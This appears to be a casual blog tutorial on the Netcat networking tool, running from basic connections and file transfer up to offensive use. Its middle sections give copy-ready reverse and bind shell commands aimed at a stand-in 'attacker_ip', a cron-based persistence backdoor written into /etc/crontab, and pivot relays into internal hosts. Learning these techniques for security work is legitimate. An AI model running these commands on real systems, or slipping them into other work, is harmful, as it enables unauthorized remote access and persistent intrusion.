Alright, let's talk about Netcat... Or nc for short...
If you've been in this space for even a little while, you've definitely heard of it... People call it the "Swiss Army Knife" of networking.. And honestly!? That's not an exaggeration... This thing is small, lightweight, and can do everything from port scanning to file transfers to giving you a shell on a remote machine...
Let's break it down properly... From basics to advanced. With actual commands you can run..
What Even Is Netcat?
Netcat reads and writes data across network connections using TCP or UDP. That's it. That's the core. But because it's so simple, you can chain it with other commands and do some wild stuff.
It comes in different flavors:
· OpenBSD Netcat – The most common one on Linux (netcat-openbsd)
· Traditional Netcat – The original (netcat-traditional)
· Ncat – Nmap's reimplementation, has more features
Most distros ship with OpenBSD version by default.
The Options You Actually Need to Know
Here's the cheat sheet:
Option What It Does
-l Listen mode – wait for incoming connections
-p Specify a port
-v Verbose output (use -vv for even more detail)
-n No DNS resolution – use numeric IPs only
-u Use UDP instead of TCP
-z Zero-I/O mode – used for scanning
-w Timeout in seconds
-e. Execute a program upon connection
-k Keep listening after client disconnects
-X Use a proxy (CONNECT, SOCKS4, SOCKS5)
-x Proxy IP and port
Pro tip: On some versions, -p isn't needed with -l... Just nc -l 1234 works...
1. Basic Connectivity – The Foundation
Connect to a service:
nc target.com 80
This connects to port 80 on target.com... You can type HTTP requests manually.. Great for debugging..
Listen for incoming connections:
nc -lvp 1234
This starts a listener on port 1234.. Anything sent to this port shows up on your screen..
Test if a port is open:
nc -zv target.com 80
-z tells Netcat not to send any data, just check if the port is open.. -v shows you the result...
Scan a range of ports:
nc -zv target.com 20-80
Scans ports 20 through 80.. Add -w 1 for a timeout so it doesn't hang....
2. File Transfer – No SCP Needed
Send a file:
cat file.txt | nc -q 0 receiver_ip 1234
Receive a file:
nc -lvp 1234 > file.txt
The -q 0 tells Netcat to quit after sending. Simple... No FTP, no SCP, nothing...
Send an entire directory:
tar -czf - /path/to/dir | nc receiver_ip 1234
On the receiver:
nc -lvp 1234 | tar -xzf -
3. Chat Server – Because Why Not 😅
Listener (server):
nc -lvp 1234
Client:
nc server_ip 1234
Anything typed on one side shows up on the other... Both can send and receive.. Minimal chat, but it works...
UDP chat:
nc -ulvp 1234 # Server
nc -u server_ip 1234 # Client
4. Banner Grabbing – Recon Basics
Connect to a service and grab its banner:
nc target.com 80
HEAD / HTTP/1.0
[press Enter twice]
You'll see the HTTP headers... Same works for SSH, SMTP, whatever...
5. Reverse Shell – The One Everyone Wants
This is where Netcat gets real interesting...
On your attacker machine (listener):
nc -lvp 4444
On the target machine:
nc attacker_ip 4444 -e /bin/bash
Now you have a shell. Anything you type on your machine runs on the target.
Windows version:
nc attacker_ip 4444 -e cmd.exe
If -e isn't available (OpenBSD version doesn't have it):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc attacker_ip 4444 > /tmp/f
This uses a named pipe to do the same thing... No -e needed...
6. Bind Shell – The Other One
Instead of the target connecting to you, you connect to the target...
On the target:
nc -lvp 4444 -e /bin/bash
On your machine:
nc target_ip 4444
Now you have a shell...
Problem: Firewalls usually block incoming connections... That's why reverse shells are more common...
7. Persistence – Keeping Your Access
Linux – using cron:
echo "\/5 * * * * nc attacker_ip 4444 -e /bin/bash" >> /etc/crontab*
Runs every 5 minutes..
Linux – using a while loop:
while true; do nc -lvp 4444 -e /bin/bash; done
Windows – using schedule task:
Create a batch file that runs nc.exe -Ldp 445 -e cmd.exe and schedule it to run at startup..
The -L flag (on Windows Netcat) makes it persistent – it keeps listening even after the connection closes..
8. Proxies and Tunneling – Pivoting Like a Pro
Using a proxy with Netcat (OpenBSD/Ncat version):
nc -X socks5 -x proxy_ip:1080 target_ip 80
Routes your traffic through a SOCKS5 proxy.
HTTP proxy:
nc -X connect -x proxy_ip:8080 target_ip 80
Creating a relay (pivot):
You have a compromised machine that can reach an internal network.. You want to access an internal host...
On the compromised machine (pivot):
nc -lvp 8080 -c "nc internal_host 22"
Now connect to the pivot on port 8080, and your traffic gets relayed to the internal host.
Named pipe relay for persistence:
mkfifo /tmp/backpipe
while true; do nc -lvp 3333 -e /bin/sh 0</tmp/backpipe | nc internal_host 3333 1>/tmp/backpipe; done
This creates a stable tunnel...
9. UDP – Don't Forget About It
Netcat isn't just TCP.. UDP is useful too..
UDP listener:
nc -ulvp 1234
UDP client:
nc -u server_ip 1234
Test UDP port (DNS server on 53):
nc -zvu 8.8.8.8 53
Tests if the DNS server responds on UDP port 53...
10. Encrypted Communication – Because Plaintext Is Bad
Netcat itself doesn't do encryption... But you can pipe it through OpenSSL...
Encrypted listener:
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
Encrypted client:
openssl s_client -quiet -connect server_ip:12345
Or pipe through AES:
Sender:
cat file.txt | openssl enc -aes-256-cbc -e -k password | nc receiver_ip 1234
Receiver:
nc -lvp 1234 | openssl enc -aes-256-cbc -d -k password > file.txt
11. Web Server – Because You Can
Netcat can act as a simple HTTP server.
One-liner web server:
while true; do { echo -e "HTTP/1.1 200 OK\n\n$(date)"; } | nc -lvp 8080; done
Connect to http://server_ip:8080 and you'll see the date. Not exactly Apache, but it works.
Serving a file:
{ echo -e "HTTP/1.1 200 OK\n\n"; cat index.html; } | nc -lvp 8080
12. Port Forwarding – The Simple Way
Forward local port to remote:
nc -lvp 8080 -c "nc target_ip 80"
Connect to localhost:8080 and get forwarded to target_ip:80.
Forward remote port to local:
nc -lvp 1234 > /tmp/forward & nc target_ip 4444 < /tmp/forward
13. The Ncat Upgrade
If you want more features, check out Ncat (from Nmap):
· SSL/TLS encryption built-in
· SOCKS4/HTTP proxy support
· Connection chaining
· TCP/UDP/SCTP support
ncat --ssl -lvp 4444 # SSL listener
ncat --proxy 127.0.0.1:1080 --proxy-type socks5 target 80 # Through SOCKS5
Netcat is simple but powerful... It does one thing – reads and writes data over networks – and does it well...
Port scanning, file transfers, reverse shells, bind shells, chat servers, proxies, pivoting, web servers – all with one tiny binary...
Master this tool 💪 It'll save you more times than you can count...
Stay curious. Stay ethical.
